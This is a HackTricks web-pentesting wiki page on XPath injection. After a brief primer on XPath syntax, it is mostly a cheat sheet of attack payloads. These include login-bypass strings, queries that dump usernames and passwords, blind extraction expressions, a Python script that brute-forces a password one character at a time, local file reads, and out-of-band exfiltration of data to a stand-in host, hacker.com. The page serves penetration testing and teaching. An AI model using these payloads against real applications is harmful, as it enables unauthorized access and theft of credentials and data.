xpath-injection.md (10499B)
1 --- 2 title: "XPATH injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xpath-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xpath-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # XPATH injection 14 15 ## Basic Syntax 16 17 An attack technique known as XPath Injection is utilized to take advantage of applications that form XPath (XML Path Language) queries based on user input to query or navigate XML documents.<sup>[[2]](#references)</sup> 18 19 ### Nodes Described 20 21 Expressions are used to select various nodes in an XML document. These expressions and their descriptions are summarized below:<sup>[[3]](#references)</sup> 22 23 - **nodename**: All nodes with the name "nodename" are selected. 24 - **/**: Selection is made from the root node. 25 - **//**: Nodes matching the selection from the current node are selected, regardless of their location in the document. 26 - **.**: The current node is selected. 27 - **..**: The parent of the current node is selected. 28 - **@**: Attributes are selected. 29 30 ### XPath Examples 31 32 Examples of path expressions and their results include: 33 34 - **bookstore**: All nodes named "bookstore" are selected. 35 - **/bookstore**: The root element bookstore is selected. It's noted that an absolute path to an element is represented by a path starting with a slash (/). 36 - **bookstore/book**: All book elements that are children of bookstore are selected. 37 - **//book**: All book elements in the document are selected, irrespective of their location. 38 - **bookstore//book**: All book elements that are descendants of the bookstore element are selected, no matter their position under the bookstore element. 39 - **//@lang**: All attributes named lang are selected. 40 41 ### Utilization of Predicates 42 43 Predicates are used to refine selections: 44 45 - **/bookstore/book\[1]**: The first book element child of the bookstore element is selected. A workaround for IE versions 5 to 9, which index the first node as \[0], is setting the SelectionLanguage to XPath through JavaScript. 46 - **/bookstore/book\[last()]**: The last book element child of the bookstore element is selected. 47 - **/bookstore/book\[last()-1]**: The penultimate book element child of the bookstore element is selected. 48 - **/bookstore/book\[position()<3]**: The first two book elements children of the bookstore element are selected. 49 - **//title\[@lang]**: All title elements with a lang attribute are selected. 50 - **//title\[@lang='en']**: All title elements with a "lang" attribute value of "en" are selected. 51 - **/bookstore/book\[price>35.00]**: All book elements of the bookstore with a price greater than 35.00 are selected. 52 - **/bookstore/book\[price>35.00]/title**: All title elements of the book elements of the bookstore with a price greater than 35.00 are selected. 53 54 ### Handling of Unknown Nodes 55 56 Wildcards are employed for matching unknown nodes: 57 58 - **\***: Matches any element node. 59 - **@**\*: Matches any attribute node. 60 - **node()**: Matches any node of any kind. 61 62 Further examples include: 63 64 - **/bookstore/\***: Selects all the child element nodes of the bookstore element. 65 - **//\***: Selects all elements in the document. 66 - **//title\[@\*]**: Selects all title elements with at least one attribute of any kind. 67 68 ## Example 69 70 ```xml 71 <?xml version="1.0" encoding="ISO-8859-1"?> 72 <data> 73 <user> 74 <name>pepe</name> 75 <password>peponcio</password> 76 <account>admin</account> 77 </user> 78 <user> 79 <name>mark</name> 80 <password>m12345</password> 81 <account>regular</account> 82 </user> 83 <user> 84 <name>fino</name> 85 <password>fino2</password> 86 <account>regular</account> 87 </user> 88 </data> 89 ``` 90 91 ### Access the information 92 93 ```text 94 All names - [pepe, mark, fino] 95 name 96 //name 97 //name/node() 98 //name/child::node() 99 user/name 100 user//name 101 /user/name 102 //user/name 103 104 All values - [pepe, peponcio, admin, mark, ...] 105 //user/node() 106 //user/child::node() 107 108 109 Positions 110 //user[position()=1]/name #pepe 111 //user[last()-1]/name #mark 112 //user[position()=1]/child::node()[position()=2] #peponcio (password) 113 114 Functions 115 count(//user/node()) #3*3 = 9 (count all values) 116 string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4 117 substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a" 118 ``` 119 120 ### Identify & stealing the schema 121 122 ```python 123 and count(/*) = 1 #root 124 and count(/*[1]/*) = 2 #count(root) = 2 (a,c) 125 and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b) 126 and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0 127 and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f) 128 and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0 129 and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0 130 and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g) 131 and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0 132 133 #The previous solutions are the representation of a schema like the following 134 # At this stage, we know only the schema, not the tag names 135 <root> 136 <a> 137 <b></b> 138 </a> 139 <c> 140 <d></d> 141 <e></e> 142 <f> 143 <h></h> 144 </f> 145 </c> 146 </root> 147 148 and name(/*[1]) = "root" #Confirm the name of the first tag is "root" 149 and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a" 150 and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 # First character of tag `<b>` is code point 105 ("i") (https://codepoints.net/) 151 152 #Stealing the schema via OOB 153 doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) 154 doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1]))) 155 ``` 156 157 ## Authentication Bypass 158 159 ### **Example of queries:** 160 161 ```text 162 string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text()) 163 $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]'; 164 ``` 165 166 ### **OR bypass in user and password (same value in both)** 167 168 ```text 169 ' or '1'='1 170 " or "1"="1 171 ' or ''=' 172 " or ""=" 173 string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text()) 174 175 Select account 176 Select the account using the username and use one of the previous values in the password field 177 ``` 178 179 ### **Abusing null injection** 180 181 ```text 182 Username: ' or 1]%00 183 ``` 184 185 ### **Double OR in Username or in password** (is valid with only 1 vulnerable field) 186 187 IMPORTANT: Notice that the **"and" is the first operation made**.<sup>[[1]](#references)</sup> 188 189 ```text 190 Bypass with first match 191 (This requests are also valid without spaces) 192 ' or /* or ' 193 ' or "a" or ' 194 ' or 1 or ' 195 ' or true() or ' 196 string(//user[name/text()='' or true() or '' and password/text()='']/account/text()) 197 198 Select account 199 'or string-length(name(.))<10 or' #Select account with length(name)<10 200 'or contains(name,'adm') or' #Select first account having "adm" in the name 201 'or contains(.,'adm') or' #Select first account having "adm" in the current value 202 'or position()=2 or' #Select 2º account 203 string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text()) 204 205 Select account (name known) 206 admin' or ' 207 admin' or '1'='2 208 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text()) 209 ``` 210 211 ## String extraction 212 213 The output contains strings and the user can manipulate the values to search:<sup>[[1]](#references)</sup> 214 215 ```text 216 /user/username[contains(., '+VALUE+')] 217 ``` 218 219 ```text 220 ') or 1=1 or (' #Get all names 221 ') or 1=1] | //user/password[('')=(' #Get all names and passwords 222 ') or 2=1] | //user/node()[('')=(' #Get all values 223 ')] | //./node()[('')=(' #Get all values 224 ')] | //node()[('')=(' #Get all values 225 ') or 1=1] | //user/password[('')=(' #Get all names and passwords 226 ')] | //password%00 #All names and passwords (abusing null injection) 227 ')]/../*[3][text()!=(' #All the passwords 228 ')] | //user/*[1] | a[(' #The ID of all users 229 ')] | //user/*[2] | a[(' #The name of all users 230 ')] | //user/*[3] | a[(' #The password of all users 231 ')] | //user/*[4] | a[(' #The account of all users 232 ``` 233 234 ## Blind Exploitation 235 236 ### **Get length of a value and extract it by comparisons:** 237 238 ```bash 239 ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4 240 ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a" 241 242 substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) 243 244 ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value 245 ``` 246 247 ### **Python Example** 248 249 ```python 250 import requests, string 251 252 flag = "" 253 l = 0 254 alphabet = string.ascii_letters + string.digits + "{}_()" 255 for i in range(30): 256 r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) 257 if ("TRUE_COND" in r.text): 258 l = i 259 break 260 print("[+] Password length: " + str(l)) 261 for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) 262 for al in alphabet: 263 r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al) 264 if ("TRUE_COND" in r.text): 265 flag += al 266 print("[+] Flag: " + flag) 267 break 268 ``` 269 270 ### Read file 271 272 ```python 273 (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127 274 ``` 275 276 ## OOB Exploitation 277 278 ```python 279 doc(concat("http://hacker.com/oob/", RESULTS)) 280 doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username)) 281 doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username))) 282 283 #Instead of doc() you can use the function doc-available 284 doc-available(concat("http://hacker.com/oob/", RESULTS)) 285 #the doc available will respond true or false depending if the doc exists, 286 #user not(doc-available(...)) to invert the result if you need to 287 ``` 288 289 ### Automatic tool 290 291 - [xcat](https://xcat.readthedocs.io/) 292 - [xxxpwn](https://github.com/feakk/xxxpwn) 293 - [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) 294 - [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer) 295 - [XmlChor](https://github.com/Harshal35/XMLCHOR) 296 297 ## References 298 299 - [1] [PayloadsAllTheThings - XPATH Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection) 300 - [2] [OWASP Testing Guide - Testing for XPath Injection (OTG-INPVAL-010)](<https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)>) 301 - [3] [W3Schools - XPath Syntax](https://www.w3schools.com/xml/xpath_syntax.asp)